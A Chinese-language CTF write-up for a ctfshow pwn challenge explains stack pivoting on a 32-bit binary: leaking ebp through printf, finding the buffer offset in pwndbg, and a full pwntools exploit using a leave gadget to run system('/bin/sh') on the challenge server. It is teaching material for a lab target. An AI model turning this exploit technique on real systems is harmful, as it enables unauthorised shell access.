题目:栈空间不够怎么办?
栈迁移,没见过
cs:

32 位开启 NX 保护,部分开启 RELRO
运行一下:


这是重点!后续编写 exp 要注意的细节。

IDA 分析,查看 main 中的 ctfshow 函数:

其实在连靶机进行交互时,无论你输入什么,都是招原样给你打印出来的,主要还是看 read、memset 函数,况且没开 canary 保护有站处理漏洞可以利用。

还看到了 system 函数。

跟进 hackerout 函数:

看到有 system 函数,不过里边不是 binsh,问题不大可以构造出来。

看回 ctfshow 函数的栈溢出漏洞,可以发现 s 容量是 36,但 s 到 ebp 距离有 0x28=40,加上覆盖 ebp 本身的 4 字节,仅 8 字节(44-36=8)溢出空间,无法直接布置 system(“/bin/sh”); 所需的 ROP 链(需覆盖返回地址 + 传递参数,至少 12 字节以上),那么这里就应该要想到栈迁移了。

栈迁移的本质是通过 leave 指令改变栈顶指针(esp)的位置,将原本狭小的栈空间转移到我们可控的大空间。那我们就得调用 levae 汇编指令。
leave 指令是栈帧操作的 “便捷指令”,其本质是 自动完成栈帧的清理工作;它的功能可以拆解为两条经典指令的组合,具体行为依赖于架构(x86/x64 一致)。

leave 指令等价于:

1
2
mov esp, ebp    ; 将栈指针(esp)指向基指针(ebp),回收当前栈帧的局部变量空间
pop ebp ; 从栈顶弹出之前保存的ebp值(恢复上一层栈帧的基指针)

看回 ctfshow 函数的栈溢出漏洞,可以发现 s 容量是 36,但 s 到 ebp 距离有 0x28=40,加上覆盖 ebp 本身的 4 字节,也就是说只有 8 字给到我们放东西,无法进行我们的 ROP 链构造,那么这里就应该要想到栈迁移了。

前置准备:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
context.log_level='debug'
io = remote('pwn.challenge.ctf.show', 28274)
#io = process('./pwn')
elf = ELF('./pwn')
system = elf.sym['system']
leave = 0x08048766

...

payload = cyclic(0x24) + b'GPNU'

io.recvuntil("codename:")
io.sendline(payload)
io.recvuntil('')

...

io.interactive()

leave 汇编指令和 ebp、esp 有关联,那我们就需要去获得 ebp 的地址。

看回 ctfshow 函数以及在 Ubuntu 上 NC 连接的运行界面你就会发现第一次输入后有个 ptintf 函数会输出,也就是第一次输出,那我们把缓冲区给覆盖了,那么就会把 ebp4 字节的地址给打印出来,用后续的 u32 函数进行复制保存下来,这就是 ebp 泄露了。
泄露 ebp 地址:

1
2
3
4
5
6
7
# 构造payload1:用于泄露ebp
payload = cyclic(0x24) + 'GPNU' # 0x24个垃圾字符 + 标记字符串'show'
io.recvuntil('codename:') # 等待程序输出"codename:"(根据程序交互逻辑,第一次输入的触发点)
io.send(payload) # 发送payload1到程序
io.recvuntil('GPNU') # 接CTCT收程序输出,直到遇到标记'GPNU'(此时下一个4字节就是ebp的值)
ebp = u32(io.recv(4).ljust(4, '\x00')) # 读取4字节并转为32位无符号整数(ebp的真实值)
print('ebp=' + hex(ebp)) # 打印ebp地址(调试用,如 0xffffd058)

找栈迁移的地方,我们要迁移到攻击者可控的全局缓冲区(通常是第一次输入时构造的、用于存储 system(“/bin/sh”) 调用和参数的内存区域)。

可以看到 buf 比 s 更靠下,说明整个栈帧中,buf 空间更大(比 s 大),可以放 gadget。

那么现在需要明确一下思路:有两个输入点

利用第一个输入点来泄露 ebp 的值,动调找一下 buf 在栈上的位置,用 ebp 去表示。

第二个输入点输入 system(/bin/sh),利用两次 leave 将栈迁移到 buf 处,执行 buf 里的指令,进行 getshell。

上述已经泄露好了。

ebp 已经泄露了真实地址,现在需要表示出 buf 真实地址,那我们可以用 ebp 去表示 buf 的真实地址,那就需要固定偏移量:

一步步来

第一步,先运行这个调试代码(python3):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(log_level='debug', os='linux', arch='i386')

io = process('./pwn')
gdb.attach(io)
# io = remote('pwn.challenge.ctf.show', 28218)
elf = ELF('./pwn')
system = elf.plt['system']
leave = 0x08048766

payload = b'a' * 0x24 + b'GPNU'
io.recvuntil(b'codename:')
io.send(payload)
io.recvuntil(b'show')
ebp = u32(io.recv(4).ljust(4, b'\x00'))
pause()


第二步,右边 pwndbg 输入 n(next)命令进行下一步,让 a 垃圾字符串注入程序:

第三步,看栈帧,输入 stack 50(也够了,你输入 60、70 也行,小点也行不过看不到 ebp 就尬了…)

完整结果如下(有图有代码就怕你看不懂):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> stack 50
00:0000│ esp 0xffa86830 —▸ 0xffa86898 —▸ 0xffa868a8 ◂— 0x0
01:0004│ 0xffa86834 ◂— 0x30 /* '0' */
02:0008│ 0xffa86838 —▸ 0xffa86870 ◂— 0x61616161 ('aaaa')
03:000c│ 0xffa8683c —▸ 0xf7e35e67 (read+39) ◂— cmp eax, 0xfffff000 /* '=' */
04:0010│ 0xffa86840 —▸ 0xffa86898 —▸ 0xffa868a8 ◂— 0x0
05:0014│ 0xffa86844 —▸ 0xf7f65de0 (_dl_runtime_resolve+16) ◂— pop edx
06:0018│ 0xffa86848 —▸ 0xffa86890 ◂— 0x61616161 ('aaaa')
07:001c│ 0xffa8684c —▸ 0xf7e35e40 (read) ◂— push esi
08:0020│ 0xffa86850 —▸ 0xffa86870 ◂— 0x61616161 ('aaaa')
09:0024│ 0xffa86854 —▸ 0x804b000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804af0c (_DYNAMIC) ◂— 0x1
0a:0028│ 0xffa86858 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
0b:002c│ 0xffa8685c —▸ 0x804870e (ctfshow+53) ◂— add esp, 0x10
0c:0030│ 0xffa86860 ◂— 0x0
0d:0034│ 0xffa86864 —▸ 0xffa86870 ◂— 0x61616161 ('aaaa')
0e:0038│ 0xffa86868 ◂— 0x30 /* '0' */
0f:003c│ 0xffa8686c —▸ 0x80486e5 (ctfshow+12) ◂— add ebx, 0x291b
10:0040│ ecx 0xffa86870 ◂— 0x61616161 ('aaaa')
... ↓
19:0064│ 0xffa86894 ◂— 0x554e5047 ('GPNU')
1a:0068│ ebp 0xffa86898 —▸ 0xffa868a8 ◂— 0x0
1b:006c│ 0xffa8689c —▸ 0x80487b5 (main+77) ◂— mov eax, 0
1c:0070│ 0xffa868a0 —▸ 0xffa868c0 ◂— 0x1
1d:0074│ 0xffa868a4 ◂— 0x0
... ↓
1f:007c│ 0xffa868ac —▸ 0xf7d67fa1 (__libc_start_main+241) ◂— add esp, 0x10
20:0080│ 0xffa868b0 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
... ↓
22:0088│ 0xffa868b8 ◂— 0x0
23:008c│ 0xffa868bc —▸ 0xf7d67fa1 (__libc_start_main+241) ◂— add esp, 0x10
24:0090│ 0xffa868c0 ◂— 0x1
25:0094│ 0xffa868c4 —▸ 0xffa86954 —▸ 0xffa8721f ◂— './pwn'
26:0098│ 0xffa868c8 —▸ 0xffa8695c —▸ 0xffa87225 ◂— 'LC_NUMERIC=zh_CN.UTF-8'
27:009c│ 0xffa868cc —▸ 0xffa868e4 ◂— 0x0
28:00a0│ 0xffa868d0 ◂— 0x1
29:00a4│ 0xffa868d4 ◂— 0x0
2a:00a8│ 0xffa868d8 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
2b:00ac│ 0xffa868dc —▸ 0xf7f6071a (call_init.part+26) ◂— add edi, 0x178e6
2c:00b0│ 0xffa868e0 —▸ 0xf7f78000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
2d:00b4│ 0xffa868e4 ◂— 0x0
2e:00b8│ 0xffa868e8 —▸ 0xf7f27000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
2f:00bc│ 0xffa868ec ◂— 0x0
... ↓
31:00c4│ 0xffa868f4 ◂— 0xfa28923b


可以看到 “GPNU”、“aaaa” 字符串都被注入到程序里啦,能看到 esp 和 ebp 距离,算一算就是 0x38(0xffa868a8-0xffa86870)

这里的 0x38 是 ebp 到 “目标可控缓冲区” 的固定偏移,我们可以用 ebp-0x38 来表示 buf 的地址。

在第一次输入完后,进入到第二次输入,我们要往 buf 中写入 system (“/bin/sh”), 同时还要将栈劫持返回 buf 地址,然后就执行了我们想要的 system(“/bin/sh”);

构造 payload:

1
2
# 构造payload:布置system调用 + 栈迁移指令
payload = (p32(system) + p32(0) + p32(buf + 12) + '/bin/sh\x00').ljust(0x28, 'a') + p32(buf - 4) + p32(leave)

程序有给 system 函数,直接调用。

我们在构造 Payload 时,会将 system 调用相关的代码提前布置到 buf 中,而 buf 作为栈迁移的目标缓冲区,其内部字节布局是固定的(32 位系统下,每个指针 / 地址占 4 字节)

Payload 整体分为 “攻击代码段” 和 “栈迁移控制段” 两部分:

1、攻击代码段:

1
(p32(system) + 'aaaa' + p32(buf + 12) + '/bin/sh\x00').ljust(0x28,'a')

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level='debug', os = 'linux', arch = 'i386')
#io = process('./pwn')
#gdb.attach(io)
io = remote('pwn.challenge.ctf.show', 28229)
elf = ELF('./pwn')
system = elf.plt['system']
leave = 0x08048766
payload = 'a' * 0x24 + 'GPNU'
io.recvuntil('codename:')
io.send(payload)
io.recvuntil('GPNU')
ebp = u32(io.recv(4).ljust(4,'\x00'))
#pause()
print('ebp='+hex(ebp))
buf = ebp - 0x38
payload = (p32(system) + 'aaaa' + p32(buf + 12) + '/bin/sh\x00').ljust(0x28,'a') + p32(buf-4) + p32(leave)
io.send(payload)
#pause()
io.interactive()